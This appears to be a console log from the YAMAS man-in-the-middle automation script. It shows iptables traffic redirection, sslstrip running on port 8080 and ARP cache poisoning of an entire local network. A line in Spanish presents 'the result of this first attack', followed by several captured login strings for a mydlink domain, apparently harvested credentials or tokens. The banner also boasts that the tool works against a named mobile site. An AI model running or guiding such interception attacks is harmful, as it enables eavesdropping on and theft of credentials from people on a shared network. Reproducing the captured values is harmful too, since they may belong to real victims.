VMMP ,M `MM M Mb M' MM ,M `MM `YMMNq.
MM AbmmmqMA M YM.P' MM AbmmmqMA . `MM
MM A' VML M `YM' MM A' VML Mb dM
.JMML..AMA. .AMMA..JML. `' .JMML..AMA. .AMMA.P"Ybmmd"
===========================================================================
= Welcome to Yet Another MITM Automation Script. =
= Use this tool responsibly, and enjoy! =
= Feel free to contribute and distribute this script as you please. =
= Official thread :
= Check out the help (-h) to see new features and informations =
= You are running version 20120213 =
===========================================================================
Message of the day :
Reviewing some code...
Could someone send me a complete log file? I'm planning on making a better parsing.
On another note, I today had the privilege to witness that Yamas works against Youporn mobile. MMD.
Please make sure to check out my last project : http://msimdb.comax.fr
- Cleaning iptables [-] Cleaned.
- Activating IP forwarding... [-] Activated.
- Configuring iptables...
Port 8080 selected as default.
From what port should the traffic be redirected to? (default = 80)
Port 80 selected as default.
Traffic from port 80 will be redirected to port 8080
[-] Traffic rerouted
- Activating sslstrip...
wlan_ed
Sslstrip will be listening on port 8080 and outputting log in /tmp/wlan_ed.txt
sslstrip 0.9 by Moxie Marlinspike running...
[-] Sslstrip is running.
- Activating ARP cache poisoning...
Gateway : 192.168.1.1 Interface : wlan0
Enter IP gateway adress or press enter to use 192.168.1.1.
192.168.1.1 selected as default.
What interface would you like to use? It should match IP gateway as shown above. Press enter to use wlan0.
wlan0 selected as default.
We will target the whole network as default. You can discover hosts and enter IP(s) manually by entering D.
Press enter to default.
Targeting the whole network on 192.168.1.1 on wlan0 with ARPspoof
[-] Arp cache poisoning is launched. Keep new window(s) running.
Attack should be running smooth, enjoy.
Aquí está el resultado de este primer ataque:
Website = prov.eu.mydlink.com):
Login = tfQmw7Lw5EAzo1LgDdUkp1vyZCx6XRXyMvi6TA6o7PW5UPCp4Yf5D54cSTQ6xdbpgYT6FsJoqYQdRsXps3Aw88Mm18tsUsMy20T37OboNmy5VdvoavTsWjZ7ro3kF17inCMlV5WggzDjGstwB8gyrw3wRd7mzyY3HTU$
Website = prov.eu.mydlink.com):
Login = Pw2eMpFln89k4cF6Tcpo6m/6ItsmWvNsMpdlSdj5xyGoQyB6yvhoXjzeFzpvs5+6d6HvrAFibT2tHB0$
Website = prov.eu.mydlink.com):
Login = 4cr6n8hci/evlGheWlo7kGHsQKBmA+ssKu1mUJ938VzjTVa83XNjWfPwCZrmvlR8yXlmEkp3zXrtVks8ebec7gn62gVyTkns1Hlo8FR3GqFjRlH3q7NySr2keaw7VVqnn9s4EGlnsIoyCJe8ZSOtWW+zvI2tcSezZZq$
Website = prov.eu.mydlink.com):
Login = QkjpNasdssmsvjsxWj/rbvpxQoFqTmakXyVdY32f3pwrIpqxim0rMcanYolwZsqmTjewmw9odpr3cBayEQz$
Website = prov.eu.mydlink.com):
Login = +en3Kneyp7ht6feaRUwi5f/wHnOoG4mwO9Ro0kF6nbpp9bl5hePpRGNsFrnorU15aeaoSJz6benvDJm5cVhyjFr3YF2c9JrwJxamng16AW9pWU/6tHRlQK+tzSddNbevsfmdQencc4jkEq2iebjlVqqra+wkFqhebbk$
Website = prov.eu.mydlink.com):